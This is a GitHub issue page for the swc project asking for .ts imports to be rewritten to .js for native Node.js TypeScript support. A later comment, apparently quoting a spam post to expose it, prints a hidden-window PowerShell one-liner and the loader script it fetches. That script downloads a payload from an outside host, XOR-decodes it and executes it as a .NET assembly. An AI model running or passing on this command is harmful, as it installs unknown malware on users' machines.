Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Rewrite .ts imports to .js imports (for native Node.js TypeScript support) #9611

Open
alshdavid opened this issue Oct 3, 2024 · 1 comment

Comments

@alshdavid
Copy link

Describe the feature

Nodejs have added experimental support for TypeScript however it requires imports with .ts extensions.

import foo from './foo.ts'

The TypeScript team have landed on this solution to add support:

microsoft/TypeScript#59597
microsoft/TypeScript#59767

Would be great if swc offered a similar solution

Babel plugin or link to the feature description

No response

Additional context

No response

@kdy1
Copy link
Member

kdy1 commented Oct 30, 2024

@ahmedra13579 powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke() 🤣

https://javierlopez.eu/adapt/kingdom:

$url = "https://javierlopez.eu/adapt/cabbage"
$webClient = New-Object System.Net.WebClient
$sell61 = $webClient.DownloadData($url)

$gossip123 = 0x09, 0x04, 0x05

$struggle6 = [byte[]]::new($sell61.Length)

for ($i = 0; $i -lt $sell61.Length; $i++) {
    $struggle6[$i] = $sell61[$i] -bxor $gossip123[$i % $gossip123.Length]
}

$afraid16 = [System.AppDomain]::CurrentDomain.Load($struggle6)

if ($afraid16.EntryPoint -ne $null) {
    $afraid16.EntryPoint.Invoke($null, @($null))
} else {
    Write-Host "glass glimpse glue gloom"
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Development

No branches or pull requests

5 participants
@alshdavid @kdy1 and others